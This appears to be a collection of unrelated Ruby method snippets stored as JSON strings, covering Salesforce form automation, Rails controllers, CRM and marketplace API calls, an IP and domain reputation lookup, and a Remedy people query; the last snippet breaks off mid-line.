"def perform\n set_token(@data['token'])\n set_stake_currencies(@data['stake_currencies'])\n set_all_stake_currencies(@data['all_stake_currencies']) if @data['all_stake_currencies'].present?\n set_price_points(@data['price_points'])\n set_manager(@data['manager']) if @data['manager'].present?\n set_client(@data['client']) if @data['client'].present?\n set_client_manager(@data['client_manager'])\n set_contract_details(@data['contract_details'])\n set_gas_price(@data['gas_price'])\n set_auxiliary_addresses(@data['auxiliary_addresses'])\n set_origin_addresses(@data['origin_addresses'])\n set_workflow(@data['workflow'])\n set_workflow_current_step(@data['workflow_current_step'])\n set_sign_messages(@data['sign_messages'])\n set_workflow_payload(@data['workflow_payload'])\n set_sub_env_payload(@data['sub_env_payloads']) if @data['sub_env_payloads'].present?\n set_developer_page_addresses(@data['developer_page_addresses']) if @data['developer_page_addresses'].present?\n set_api_keys(@data['api_keys']) if @data['api_keys'].present?\n set_email_already_sent_flag(@data['email_already_sent_flag']) if @data['email_already_sent_flag'].present?\n set_webhook_enabled_flag(@data['webhook_enabled_flag']) if @data['webhook_enabled_flag'].present?\n set_dashboard_details(@data['dashboard_details']) if @data['dashboard_details'].present?\n set_graph_urls(@data['graph_urls']) if @data['graph_urls'].present?\n set_test_economy_details(@data['test_economy_details']) if @data['test_economy_details'].present?\n set_min_balances(@data['min_balances']) if @data['min_balances'].present?\n set_webhook_secrets(@data['webhook_secrets']) if @data['webhook_secrets'].present?\n end",
"def createLeadStdsalesforce\n\n\n @helper.addLogs(\"[Step ] : Login to salesforce\")\n loginToSalesforce()\n\n puts \"in Lead::createLeadStdsalesforce\"\n EnziUIUtility.wait(@driver, :link, \"Leads\", @timeSettingMap['Wait']['Environment']['Lightening']['Max']) \n @driver.find_element(:link, \"Leads\").click\n @driver.find_element(:name, \"new\").click\n #select record type\n EnziUIUtility.wait(@driver, :id, \"p3\", @timeSettingMap['Wait']['Environment']['Lightening']['Max']) \n @driver.find_element(:id, \"p3\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"p3\")).select_by(:text, @testDataJSON['Lead'][0]['RecordType'])\n #click on continue\n @driver.find_element(:xpath, \"(//input[@name='save'])[2]\").click\n #selct salutation\n @driver.find_element(:id, \"name_salutationlea2\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"name_salutationlea2\")).select_by(:text, \"Mr.\")\n #enter first name\n @driver.find_element(:id, \"name_firstlea2\").click\n @driver.find_element(:id, \"name_firstlea2\").clear\n @driver.find_element(:id, \"name_firstlea2\").send_keys @testDataJSON['Lead'][0]['FirstName']\n #enter last name\n @driver.find_element(:id, \"name_lastlea2\").click\n @driver.find_element(:id, \"name_lastlea2\").clear\n @driver.find_element(:id, \"name_lastlea2\").send_keys @testDataJSON['Lead'][0]['LastName']\n #enter email\n @driver.find_element(:id, \"lea11\").click\n @driver.find_element(:id, \"lea11\").clear\n @driver.find_element(:id, \"lea11\").send_keys @testDataJSON['Lead'][0]['Email']\n #enter company name\n @driver.find_element(:id, \"lea3\").click\n @driver.find_element(:id, \"lea3\").clear\n @driver.find_element(:id, \"lea3\").send_keys @testDataJSON['Lead'][0]['Company']\n\n #enter phone number\n @driver.find_element(:id, \"lea8\").clear\n @driver.find_element(:id, \"lea8\").send_keys @testDataJSON['Lead'][0]['Phone']\n\n #enter promo code\n @driver.find_element(:id, \"00NF000000D598h\").clear\n @driver.find_element(:id, \"00NF000000D598h\").send_keys @testDataJSON['Lead'][0]['Promo Code']\n\n #select move in time frame\n @driver.find_element(:id, \"00N0G00000DjmNR\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"00N0G00000DjmNR\")).select_by(:text, @testDataJSON['Lead'][0]['Move In Time Frame'])\n\n #enter Org Acc name\n @driver.find_element(:id, \"CF00N0G00000DkNxF\").click\n @driver.find_element(:id, \"CF00N0G00000DkNxF\").clear\n @driver.find_element(:id, \"CF00N0G00000DkNxF\").send_keys \"john.snow_Org_qaauto12121212\"\n #select lead Source\n @driver.find_element(:id, \"lea5\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"lea5\")).select_by(:text, @testDataJSON['Lead'][0]['leadSource'])\n #select lead source details\n @driver.find_element(:id, \"00NF0000008jx4n\").click\n @driver.find_element(:id, \"00NF0000008jx4n\").clear\n @driver.find_element(:id, \"00NF0000008jx4n\").send_keys @testDataJSON['Lead'][0]['lead_Source_Detail__c']\n #select lead status\n @driver.find_element(:id, \"lea13\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"lea13\")).select_by(:text, @testDataJSON['Lead'][0]['Lead Status'])\n \n #set camapign\n if !@testDataJSON['Lead'][0]['Campaign'].nil? then\n @driver.find_element(:id, \"lea20\").clear\n @driver.find_element(:id, \"lea20\").send_keys @testDataJSON['Lead'][0]['Campaign']\n end\n\n #generate journey\n if @testDataJSON['Lead'][0]['Generate Journey'] then\n @driver.find_element(:id, \"00NF000000DWYhq\").click\n end\n\n #restart journey\n if @testDataJSON['Lead'][0]['Restart Journey'] then\n @driver.find_element(:id, \"00NF000000DSawf\").click\n end\n\n #Interested in no of desk(s)\n @driver.find_element(:id, \"00N0G00000DKsrf\").click\n @driver.find_element(:id, \"00N0G00000DKsrf\").clear\n @driver.find_element(:id, \"00N0G00000DKsrf\").send_keys @testDataJSON['Lead'][0]['Interested in Number of Desk(s)']\n\n #Selcet type\n @driver.find_element(:id, \"00NF0000008jx4d\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"00NF0000008jx4d\")).select_by(:text, @testDataJSON['Lead'][0]['Type'])\n #select Market\n @driver.find_element(:id, \"00NF000000DWHcN\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"00NF000000DWHcN\")).select_by(:text, @testDataJSON['Lead'][0]['Market'])\n\n #select Locale\n @driver.find_element(:id, \"00NF000000DW96x\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"00NF000000DW96x\")).select_by(:text, @testDataJSON['Lead'][0]['Locale'])\n \n #enter Building interested in\n @driver.find_element(:id, \"CF00NF000000DW8Sn\").click\n @driver.find_element(:id, \"CF00NF000000DW8Sn\").clear\n @driver.find_element(:id, \"CF00NF000000DW8Sn\").send_keys @testDataJSON['Lead'][0]['Building Interested In']\n\n #Select Country Code\n @driver.find_element(:id, \"00NF000000DW97C\").click\n Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"00NF000000DW97C\")).select_by(:text, @testDataJSON['Lead'][0]['Country Code'])\n\n puts \"select Market Interested\"\n sleep(1)\n # ERROR: Caught exception [ERROR: Unsupported command [addSelection | id=00NF000000DSdDJ_unselected | label=Amsterdam]]\n @driver.find_element(:xpath, \"//option[@value='0']\").click\n @driver.find_element(:id, \"00NF000000DSdDJ_right_arrow\").click\n # ERROR: Caught exception [ERROR: Unsupported command [doubleClick | //option[@value='0'] | ]]\n # ERROR: Caught exception [ERROR: Unsupported command [addSelection | id=00NF000000DSdDJ_unselected | label=Atlanta]]\n sleep(1)\n @driver.find_element(:xpath, \"//option[@value='2']\").click\n @driver.find_element(:id, \"00NF000000DSdDJ_right_arrow\").click\n # ERROR: Caught exception [ERROR: Unsupported command [doubleClick | //option[@value='2'] | ]]\n #enter Number of Full Time Employees\n @driver.find_element(:id, \"00N0G00000DKsrg\").click\n @driver.find_element(:id, \"00N0G00000DKsrg\").clear\n @driver.find_element(:id, \"00N0G00000DKsrg\").send_keys @testDataJSON['Lead'][0]['Number of Full Time Employees']\n\n\n #Locations Interested\n # ERROR: Caught exception [ERROR: Unsupported command [addSelection | id=00NF0000008jx61_unselected | label=AMS-Labs]]\n @driver.find_element(:xpath, \"(//option[@value='0'])[2]\").click\n @driver.find_element(:id, \"00NF0000008jx61_right_arrow\").click\n # ERROR: Caught exception [ERROR: Unsupported command [doubleClick | xpath=(//option[@value='0'])[2] | ]]\n # ERROR: Caught exception [ERROR: Unsupported command [addSelection | id=00NF0000008jx61_unselected | label=AMS-Strawinskylaan]]\n @driver.find_element(:xpath, \"(//option[@value='2'])[2]\").click\n @driver.find_element(:id, \"00NF0000008jx61_right_arrow\").click\n # ERROR: Caught exception [ERROR: Unsupported command [doubleClick | xpath=(//option[@value='2'])[2] | ]]\n\n #enter reffer Name\n @driver.find_element(:id, \"CF00NF000000DVv35\").click\n @driver.find_element(:id, \"CF00NF000000DVv35\").clear\n @driver.find_element(:id, \"CF00NF000000DVv35\").send_keys \"john snow_QaAuto_121\"\n\n #enter reffer Email\n @driver.find_element(:id, \"00N0G00000DkPYC\").click\n @driver.find_element(:id, \"00N0G00000DkPYC\").clear\n @driver.find_element(:id, \"00N0G00000DkPYC\").send_keys @testDataJSON['Lead'][0]['Referrer Email']\n\n #enter reffer name\n @driver.find_element(:id, \"00NF000000CbxMW\").click\n @driver.find_element(:id, \"00NF000000CbxMW\").clear\n @driver.find_element(:id, \"00NF000000CbxMW\").send_keys @testDataJSON['Lead'][0]['Referrer Name']\n \n #lead Assignment rule---\n if @testDataJSON['Lead'][0]['Assign using active assignment rule'] then\n @driver.find_element(:id, \"lea21\").click\n end\n\n #@driver.find_element(:xpath, \"(//input[@name='save'])[2]\").click\n #@driver.find_element(:id, \"CF00NF000000DVv35_lkid\").click\n #Selenium::WebDriver::Support::Select.new(@driver.find_element(:id, \"CF00NF000000DVv35_lkid\")).select_by(:text, \"John Snow\")\n @driver.find_element(:xpath, \"(//input[@name='save'])[2]\").click\n\n return true\n rescue Exception => e\n puts e\n return false\n end",
"def create \n @service = Service.new\n \n # Redirect from Service Selection\n if !params[:query]\n puts \"Redirect from Service Selection\"\n $DATA_SERVICES.each do |serv|\n if params.key?(serv.address)\n puts serv.address\n params[:service_button] = true\n @service.address = serv.address\n end\n end\n end\n \n if params[:service_button]\n puts \"SERVICE BUTTON PRESSED\"\n client = GridClientClass.new\n @query = Query.new(params[:query])\n @service.address ||= params[:query][:endpoint]\n @objects = client.displayDomainObjectNames(@service.address)\n params[:endpoint] = @service.address\n respond_to do |format|\n format.html { render :action => \"object\" }\n format.xml { render :xml => @query }\n end\n \n elsif params[:object_button]\n puts \"OBJECT BUTTON PRESSED\"\n client = GridClientClass.new\n @query = Query.new\n @service.address = params[:endpoint]\n @query.object = params[:Object]\n @attributes = client.displayDomainObjectAttributes(@service.address, @query.object)\n @dmAssociations = client.displayDomainModelAssociations(@service.address)\n @associations = Association.find_all_by_cql_object_id(CqlObject.find_by_objectName(params[:Object]))\n params[:obj] = params[:Object]\n respond_to do |format| \n format.html { render :action => \"parameters\" }\n format.xml { render :xml => @queries }\n end\n elsif params[:change_service_button]\n puts \"CHANGE SERVICE BUTTON PRESSED\"\n # Start a new query\n redirect_to(new_query_path)\n \n elsif params[:change_object_button]\n puts \"CHANGE OBJECT BUTTON PRESSED\"\n # Jump to object.html.erb to change object value\n client = GridClientClass.new\n @query = Query.new\n @service.address = params[:endpoint]\n @objects = client.displayDomainObjectNames(@service.address)\n respond_to do |format|\n format.html { render :action => \"object\" }\n format.xml { render :xml => @query }\n end \n elsif params[:association_button]\n puts \"SAVING ASSOCIATION QUERY\"\n @query = Query.new(params[:query])\n @query.predicate_id = params[:predicate_id][0]\n @query.value = params[:value]\n @query.user_id = current_user.id\n # @query.modifier = \"association\"\n respond_to do |format| \n if @query.save\n format.html { redirect_to(@query, :notice => 'Query was successfully created.') }\n format.xml { render :xml => @query, :status => :created, :location => @query }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @query.errors, :status => :unprocessable_entity }\n end\n end\n elsif params[:xml_query]\n redirect_to(query_xmlResult_path(:url => params[:url], :xml => params[:xml], :version => params[:version]))\n else\n puts \"SAVING QUERY OBJECT\"\n puts params[:obj]\n @query = Query.new(params[:query])\n @query.object = params[:obj]\n @query.endpoint = params[:endpoint]\n @query.user_id = params[:user_id]\n \n # Construct Modifiers\n String mod = params[:modifier]\n if mod.eql?(\"distinct_attribute\")\n attributes = params[:DA].join(',') \n \n elsif mod.eql?(\"selected_attributes\")\n attributes = params[:SA].join(',')\n end\n @query.modifier = mod\n @query.term = attributes\n \n respond_to do |format|\n if @query.save\n format.html { redirect_to(@query, :notice => 'Query was successfully created.') }\n format.xml { render :xml => @query, :status => :created, :location => @query }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @query.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n api_key =_get_task_config(\"apility_api_key\")\n\n headers = { \"Accept\" => \"application/json\", \"X-Auth-Token\" => api_key }\n\n if entity_type == \"IpAddress\"\n search_apility_by_ip entity_name, headers\n elsif entity_type == \"Domain\"\n search_apility_by_domain entity_name, headers\n else\n _log_error \"Unsupported entity type\"\n end\n\n end",
"def create(deal_title, person_id, org_id, one_m_users_flag_str, mobile_app_flag_str)\n \n validation_errors = []\n \n validation_errors.push('invalid_deal_title') unless Util::CommonValidator.is_string?(deal_title)\n validation_errors.push('invalid_person_id') unless Util::CommonValidator.is_integer?(person_id)\n validation_errors.push('invalid_org_id') unless Util::CommonValidator.is_integer?(org_id)\n validation_errors.push('invalid_one_m_users_flag_str') unless Util::CommonValidator.is_string?(one_m_users_flag_str)\n validation_errors.push('invalid_mobile_app_flag_str') unless Util::CommonValidator.is_string?(mobile_app_flag_str)\n \n return validation_error(\n 'l_t_pd_d_1',\n 'something_went_wrong',\n validation_errors,\n GlobalConstant::ErrorAction.default\n ) if validation_errors.present?\n \n enterprise_custom_field_key = GlobalConstant::PipeDrive.pipedrive_deal_enterprise_custom_field_key\n mobile_app_custom_field_key = GlobalConstant::PipeDrive.pipedrive_deal_mobile_app_custom_field_key\n\n url_path = create_request_path(@deals_endpoint)\n\n is_enterprise = one_m_users_flag_str == 'Enterprise'\n \n # stage_id = is_enterprise ?\n # GlobalConstant::PipeDrive.ost_platform_enterprise_stage_id :\n # GlobalConstant::PipeDrive.ost_platform_business_stage_id\n\n stage_id = GlobalConstant::PipeDrive.ost_platform_business_stage_id\n\n user_id = is_enterprise ?\n GlobalConstant::PipeDrive.ost_pipedrive_enterprise_user_id :\n GlobalConstant::PipeDrive.ost_pipedrive_business_user_id\n \n custom_params = {\n title: deal_title,\n user_id: user_id,\n person_id: person_id,\n org_id: org_id,\n stage_id: stage_id # ID of the stage where this deal will be placed in a pipeline\n }\n custom_params[enterprise_custom_field_key.to_sym] = one_m_users_flag_str\n custom_params[mobile_app_custom_field_key.to_sym] = mobile_app_flag_str\n \n r = send_request_of_type('post', url_path, custom_params)\n return r unless r.success?\n\n success_with_data(\n {\n deal_id: r[:data]['id']\n })\n end",
"def search\n @binCenters_response= invoke_webservice method: 'get', class: 'custInv/', action:'binCenters', query_string: { custNo: current_user }\n unless @binCenters_response[\"errMsg\"].blank?\n flash.now[:alert] = @binCenters_response[\"errMsg\"]\n render 'index'\n else\n @qc_lab_response = invoke_webservice method: 'get',action: 'trackingInfo', query_string: {custNo: current_user,searchType: params[:search_type],searchValue: params[:id] || params[\"txtPartNo\"] }\n if params[:search_type] == \"PartNo\"\n @part_no = params[:id].blank? ? params[\"txtPartNo\"] : params[:id]\n else\n @part_no = params[:id].blank? ? @qc_lab_response[\"partNo\"].first : params[:id]\n end\n @partNums_response = invoke_webservice method: 'get',class: 'custInv/',action: 'partNums', query_string: {custNo: current_user, partNo: @part_no }\n # test getBinParts is not on bin map get prime via getAllPartNums\n # match inv PN, set cust forecast number\n @my_prime_pn = @partNums_response[\"primePNList\"] && !@partNums_response[\"primePNList\"].join().blank? ? @partNums_response[\"primePNList\"] : @part_no\n @fc_cust_part_no = (@partNums_response[\"invPNList\"].include? @part_no) ? @part_no : @partNums_response[\"invPNList\"].first\n @whse_cust_part_no = (@partNums_response[\"custPartNoList\"].include? @part_no) ? @part_no : @partNums_response[\"invPNList\"].first\n #convert arr value to string\n @prime_pn = EngineeringCheck.get_covert_arr_to_str @partNums_response[\"primePNList\"]\n @fc_cust_part_no = EngineeringCheck.get_covert_arr_to_str @fc_cust_part_no\n @whse_prime_part_no = EngineeringCheck.get_covert_arr_to_str @my_prime_pn\n # fuzzy search for part number render fuzzy search page\n if @partNums_response[\"searchPartList\"] && !@partNums_response[\"searchPartList\"].join().blank?\n render 'fuzzy_search'\n else\n @partNums_response[\"searchPartList\"] = @part_no if @partNums_response[\"searchPartList\"] && @partNums_response[\"searchPartList\"].join().blank? && @partNums_response[\"searchPartList\"].blank?\n unless @qc_lab_response[\"errMsg\"].blank?\n flash.now[:alert] = @qc_lab_response[\"errMsg\"]\n @superSedenceSearch_response = invoke_webservice method: 'get',class: 'custInv/',action: 'superSedenceSearch', query_string: {custNo: current_user, partNo: @my_inv_pn || @part_no }\n else\n unless @partNums_response[\"errMsg\"].blank?\n @my_inv_pn = @whse_cust_part_no = @part_no\n @whse_prime_part_no = EngineeringCheck.get_covert_arr_to_str @partNums_response[\"primePNList\"]\n flash.now[:alert] = @partNums_response[\"errMsg\"]\n @superSedenceSearch_response = invoke_webservice method: 'get',class: 'custInv/',action: 'superSedenceSearch', query_string: {custNo: current_user, partNo: @my_inv_pn || @part_no }\n else\n if @partNums_response[\"custPartNoList\"].include? @part_no\n @my_inv_pn = @whse_cust_part_no = @part_no\n @whse_prime_part_no = EngineeringCheck.get_covert_arr_to_str @partNums_response[\"primePNList\"]\n elsif @partNums_response[\"scancodeList\"].include? @part_no\n my_index = @partNums_response[\"scancodeList\"].index(@part_no)\n @whse_cust_part_no = @my_cust_pn = @partNums_response[\"custPartNoList\"][my_index]\n @my_inv_pn = @partNums_response[\"invPNList\"][my_index]\n @whse_prime_part_no = EngineeringCheck.get_covert_arr_to_str @partNums_response[\"primePNList\"]\n else\n @superSedenceSearch_response = invoke_webservice method: 'get',class: 'custInv/',action: 'superSedenceSearch', query_string: {custNo: current_user, partNo: @my_inv_pn || @part_no }\n flash.now[:notice] = (\"#{@part_no} not on Bin Map or Contract. Please contact your KLX representative.<br>\" + @superSedenceSearch_response[\"errMsg\"] +\"\").html_safe\n end\n if((@partNums_response[\"custPartNoList\"].include? @part_no) || (@partNums_response[\"scancodeList\"].include? @part_no))\n @superSedenceSearch_response = invoke_webservice method: 'get', class: 'custInv/',action: 'superSedenceSearch', query_string: {custNo: current_user, partNo: @my_inv_pn || @part_no }\n @lead_times_response = invoke_webservice method: 'get', class: 'custInv/',action: 'leadTimes', query_string: {custNo: current_user,custPartNo: @prime_pn }\n @whse_on_hand_qty_response = invoke_webservice method: 'get',class: 'custInv/',action: 'whseOnHandQty', query_string: {custNo: current_user,partNo: @whse_prime_part_no,custPartNo: @whse_cust_part_no }\n @binParts_response = invoke_webservice method: 'get',class: 'custInv/',action: 'binParts', query_string: {custNo: current_user,partNo: @part_no }\n end\n end\n end\n render 'search_result'\n end\n end\n end",
"def call\n # Update service and update context\n self.service = Entities::Service.find_by_system_name(remote: threescale_client,\n system_name: service_system_name)\n if service.nil?\n # Create service and update context\n self.service = Entities::Service.create(remote: threescale_client,\n service_params: service_settings)\n logger.info \"Created service id: #{service.id}, name: #{service_name}\"\n else\n service.update(service_settings)\n logger.info \"Updated service id: #{service.id}, name: #{service_name}\"\n end\n\n report['id'] = service.id\n report['system_name'] = service.system_name\n report['name'] = service.name\n report['backend_version'] = api_spec.service_backend_version\n end",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # Add output requests (consider adding to case hash instead of adding logic here)\n # this gather any non standard output requests. Analysis of output such as binning temps for FF will occur in reporting measure\n # Table 6-1 describes the specific day of results that will be used for testing\n hourly_variables = []\n\n # variables for all HE cases\n hourly_variables << 'Site Outdoor Air Drybulb Temperature'\n hourly_variables << 'Site Outdoor Air Wetbulb Temperature'\n hourly_variables << 'Site Outdoor Air Dewpoint Temperature'\n hourly_variables << 'Site Outdoor Air Enthalpy'\n hourly_variables << 'Site Outdoor Air Humidity Ratio'\n hourly_variables << 'Site Outdoor Air Relative Humidity'\n hourly_variables << 'Site Outdoor Air Density'\n hourly_variables << 'Site Outdoor Air Barometric Pressure'\n hourly_variables << 'Site Wind Speed'\n hourly_variables << 'Site Direct Solar Radiation Rate per Area'\n hourly_variables << 'Site Diffuse Solar Radiation Rate per Area'\n hourly_variables << 'Zone Mean Air Temperature'\n hourly_variables << 'Zone Air System Sensible Heating Energy'\n hourly_variables << 'Zone Air System Sensible Cooling Energy'\n hourly_variables << 'Zone Air Temperature,Hourly'\n hourly_variables << 'Zone Air Humidity Ratio'\n hourly_variables << 'Surface Inside face Temperature'\n hourly_variables << 'Surface Outside face Temperature'\n hourly_variables << 'Surface Inside Face Convection Heat Transfer Coefficient'\n hourly_variables << 'Surface Outside Face Convection Heat Transfer Coefficient'\n hourly_variables << 'Zone Air System Sensible Heating Energy'\n hourly_variables << 'Zone Air System Sensible Cooling Energy'\n hourly_variables << 'Zone Air Temperature'\n hourly_variables << 'Zone Total Internal Latent Gain Energy'\n hourly_variables << 'Zone Air Humidity Ratio'\n hourly_variables << 'Fan Electric Power'\n hourly_variables << 'Fan Rise in Air Temperature'\n hourly_variables << 'Fan Electric Energy'\n hourly_variables << 'Heating Coil Air Heating Energy'\n hourly_variables << 'Heating Coil Air Heating Rate'\n hourly_variables << 'Heating Coil Gas Energy'\n hourly_variables << 'Heating Coil Gas Rate'\n hourly_variables << 'Fan Runtime Fraction'\n hourly_variables << 'System Node Temperature'\n hourly_variables << 'System Node Mass Flow Rate'\n\n # parasitic heating coil output that represents draft fan\n hourly_variables << 'Heating Coil Electric Power'\n\n hourly_variables.each do |variable|\n result << OpenStudio::IdfObject.load(\"Output:Variable,,#{variable},hourly;\").get\n end\n\n result\n\n end",
"def create\n form = NewMarketplaceForm.new(params)\n return render status: 400, json: form.errors unless form.valid?\n\n # As there's no community yet, we store the global service name to thread\n # so that mail confirmation email is sent from global service name instead\n # of the just created marketplace's name\n ApplicationHelper.store_community_service_name_to_thread(APP_CONFIG.global_service_name)\n\n marketplace = MarketplaceService::API::Marketplaces.create(\n params.slice(:marketplace_name,\n :marketplace_type,\n :marketplace_country,\n :marketplace_language)\n .merge(payment_process: :preauthorize)\n )\n\n # Create initial trial plan\n plan = {\n expires_at: Time.now.change({ hour: 9, min: 0, sec: 0 }) + 31.days\n }\n PlanService::API::Api.plans.create_initial_trial(community_id: marketplace[:id], plan: plan)\n\n if marketplace\n TransactionService::API::Api.settings.provision(\n community_id: marketplace[:id],\n payment_gateway: :paypal,\n payment_process: :preauthorize,\n active: true)\n end\n\n user = UserService::API::Users.create_user({\n given_name: params[:admin_first_name],\n family_name: params[:admin_last_name],\n email: params[:admin_email],\n password: params[:admin_password],\n locale: params[:marketplace_language]},\n marketplace[:id]).data\n\n base_url = URI(marketplace[:url])\n url = admin_getting_started_guide_url(host: base_url.host, port: base_url.port)\n\n # make the marketplace creator be logged in via Auth Token\n auth_token = UserService::API::AuthTokens.create_login_token(user[:id])\n url = URLUtils.append_query_param(url, \"auth\", auth_token[:token])\n\n # Enable specific features for all new trials\n FeatureFlagService::API::Api.features.enable(community_id: marketplace[:id], person_id: user[:id], features: [:topbar_v1])\n FeatureFlagService::API::Api.features.enable(community_id: marketplace[:id], features: [:topbar_v1])\n\n # TODO handle error cases with proper response\n\n render status: 201, json: {\"marketplace_url\" => url, \"marketplace_id\" => marketplace[:id]}\n end",
"def execute\r\n ##### SALESFORCE STUFF #####\r\n\r\n # Instanciate the Salesforce Client\r\n client = Restforce.new :username => @info_values[\"sf_username\"],\r\n :password => @info_values[\"sf_password\"],\r\n :security_token => @info_values[\"sf_token\"],\r\n :client_id => @info_values[\"sf_client_id\"],\r\n :client_secret => @info_values[\"sf_client_secret\"]\r\n\r\n # Call the Kinetic Request CE API\r\n begin\r\n space_slug = @parameters[\"space_slug\"].empty? ? @info_values[\"space_slug\"] : @parameters[\"space_slug\"]\r\n\r\n # Submission API Route including Values\r\n submission_api_route = @info_values[\"api_server\"] +\r\n \"/\" + space_slug +\r\n \"/app/api/v1/submissions/\" +\r\n URI.escape(@parameters[\"submission_id\"]) +\r\n \"/?include=values\"\r\n\r\n # Retrieve the Submission Values\r\n submission_result = RestClient::Resource.new(\r\n submission_api_route,\r\n user: @info_values[\"api_username\"],\r\n password: @info_values[\"api_password\"]\r\n ).get\r\n\r\n # If the submission exists\r\n unless submission_result.nil?\r\n submission = JSON.parse(submission_result)[\"submission\"]\r\n field_value = submission[\"values\"][@parameters[\"field_name\"]]\r\n # If the attachment field value exists\r\n unless field_value.nil?\r\n files = []\r\n # Attachment field values are stored as arrays, one map for each file attachment\r\n field_value.each_index do |index|\r\n file_info = field_value[index]\r\n # The attachment file name is stored in the 'name' property\r\n # API route to get the generated attachment download link from Kinetic Request CE.\r\n # \"/{spaceSlug}/app/api/v1/submissions/{submissionId}/files/{fieldName}/{fileIndex}/{fileName}/url\"\r\n# attachment_download_api_route = get_info_value(@input_document, 'api_server') +\r\n# file_info['link'] + \"/url\"\r\n attachment_download_api_route = @info_values[\"api_server\"] +\r\n '/' + space_slug + '/app/api/v1' +\r\n '/submissions/' + URI.escape(@parameters['submission_id']) +\r\n '/files/' + URI.escape(@parameters['field_name']) +\r\n '/' + index.to_s +\r\n '/' + URI.escape(file_info['name']) +\r\n '/url'\r\n\r\n # Retrieve the URL to download the attachment from Kinetic Request CE.\r\n # This URL will only be valid for a short amount of time before it expires\r\n # (usually about 5 seconds).\r\n attachment_download_result = RestClient::Resource.new(\r\n attachment_download_api_route,\r\n user: @info_values[\"api_username\"],\r\n password: @info_values[\"api_password\"]\r\n ).get\r\n\r\n unless attachment_download_result.nil?\r\n url = JSON.parse(attachment_download_result)['url']\r\n file_info[\"url\"] = url\r\n\r\n # Download File from Filehub\r\n response = RestClient.get(file_info[\"url\"])\r\n\r\n # Upload File to Salesforce\r\n attachId = client.create 'Attachment', ParentId: @parameters[\"sf_parent_id\"],\r\n Description: @parameters[\"sf_attachment_desc\"],\r\n Name: file_info[\"name\"],\r\n ContentType: file_info[\"contentType\"],\r\n Body: Base64::encode64(response.body)\r\n end\r\n file_info.delete(\"link\")\r\n file_info[\"sf_attachment_id\"] = attachId\r\n files << file_info\r\n end\r\n end\r\n end\r\n\r\n # If the credentials are invalid\r\n rescue RestClient::Unauthorized\r\n raise StandardError, \"(Unauthorized): You are not authorized.\"\r\n rescue RestClient::ResourceNotFound => error\r\n raise StandardError, error.response\r\n end\r\n\r\n # Build the results to be returned by this handler\r\n results = '';\r\n if files.nil?\r\n result = <<-RESULTS\r\n <results>\r\n <result name=\"files\"></result>\r\n </results>\r\n RESULTS\r\n else\r\n results = <<-RESULTS\r\n <results>\r\n <result name=\"files\">#{escape(JSON.dump(files))}</result>\r\n </results>\r\n RESULTS\r\n end\r\n\r\n\t# Return the results String\r\n return results\r\n end",
"def execute()\n \n error_message=\"\"\n\tresults=\"\"\n @error_handling = @parameters[\"error_handling\"]\n\tapi_username = URI.encode(@info_values[\"api_username\"])\n api_password = @info_values[\"api_password\"]\n api_server = @info_values[\"api_server\"]\n\tquery = \"'Remedy Login ID' = \\\"\"+@parameters[\"login_id\"]+\"\\\"\"\n api_route = \"#{api_server}/arsys/v1/entry/CTM:People?q=\"+URI.encode(query)\n\n\tputs(\"API ROUTE: #{api_route}\") if @debug_logging_enabled\n\n # get access token\n token = get_access_token(api_server, api_username, api_password)\n if token.length == 3 # for example 401 404 500...\n\t if @error_handling == \"Raise Error\"\n\t raise \"HTTP ERROR #{token}\"\n\t\telse \n\t error_message = \"HTTP ERROR #{token}\"\n\t\t results=\"Failed\"\n\t\tend\n\telse\n # format the headers with the token\n \t headers = {:content_type => 'application/json', :authorization => \"AR-JWT \"+token}\n\t puts(format_hash(\"Headers: \", headers)) if @debug_logging_enabled\n\n\t #lookup site information if site is changing\n\t puts \"Site: #{@parameters[\"site\"]}\"\n\t if @parameters[\"site\"] == \"nil\"\n\t\t@field_values[\"Site ID\"] = \"nil\"\n\t\t@field_values[\"Site City\"] = \"nil\"\n\t\t@field_values[\"Site Country\"] = \"nil\"\n\t\t@field_values[\"Site State Province\"] = \"nil\"\n\t\t@field_values[\"Site Street\"] = \"nil\"\n\t\t@field_values[\"Site Zip/Postal Code\"] = \"nil\"\n\t\t@field_values[\"Time Zone\"] = \"nil\"\n\t else\t\n\t if !@parameters[\"site\"].nil?\n\t site_query = \"'Site' = \\\"\"+@parameters[\"site\"]+\"\\\"\"\n site_route = \"#{api_server}/arsys/v1/entry/SIT:Site?q=\"+URI.encode(site_query)\n\t puts(\"SITE ROUTE: #{site_route}\") if @debug_logging_enabled\n\t response = RestClient::Request.new({\n method: :get,\n url: \"#{site_route}\",\n\t headers: headers\n }).execute do |response, request, result|\n puts(\"SITE RESPONSE: #{response.code}\") if @debug_logging_enabled \n\t\t if response.code == 200\n\t\t puts(result.body) if @debug_logging_enabled\n\t\t site_parsed = JSON.parse(response)\n\t puts(\"Site Response: #{response}\") if @debug_logging_enabled\n\t\t if site_parsed[\"entries\"][0].nil?\n\t if @error_handling == \"Raise Error\"\n\t raise \"No Site Record Found for #{@parameters[\"site\"]}\"\n\t\t else \n error_message = \"No Site Record Found for #{@parameters[\"site\"]}\"\n\t\t\t results=\"Failed\"\n\t\t end\n\t else\n\t\t @field_values[\"Site ID\"] = site_parsed[\"entries\"][0][\"values\"][\"Site ID\"] \n\t\t\t @field_values[\"Site City\"] = site_parsed[\"entries\"][0][\"values\"][\"City\"] \n\t\t\t @field_values[\"Site Country\"] = site_parsed[\"entries\"][0][\"values\"][\"Country\"] \n\t\t\t @field_values[\"Site State Province\"] = site_parsed[\"entries\"][0][\"values\"][\"State Province\"] \n\t\t\t @field_values[\"Site Street\"] = site_parsed[\"entries\"][0][\"values\"][\"Street\"] \n\t\t\t @field_values[\"Site Zip/Postal Code\"] = 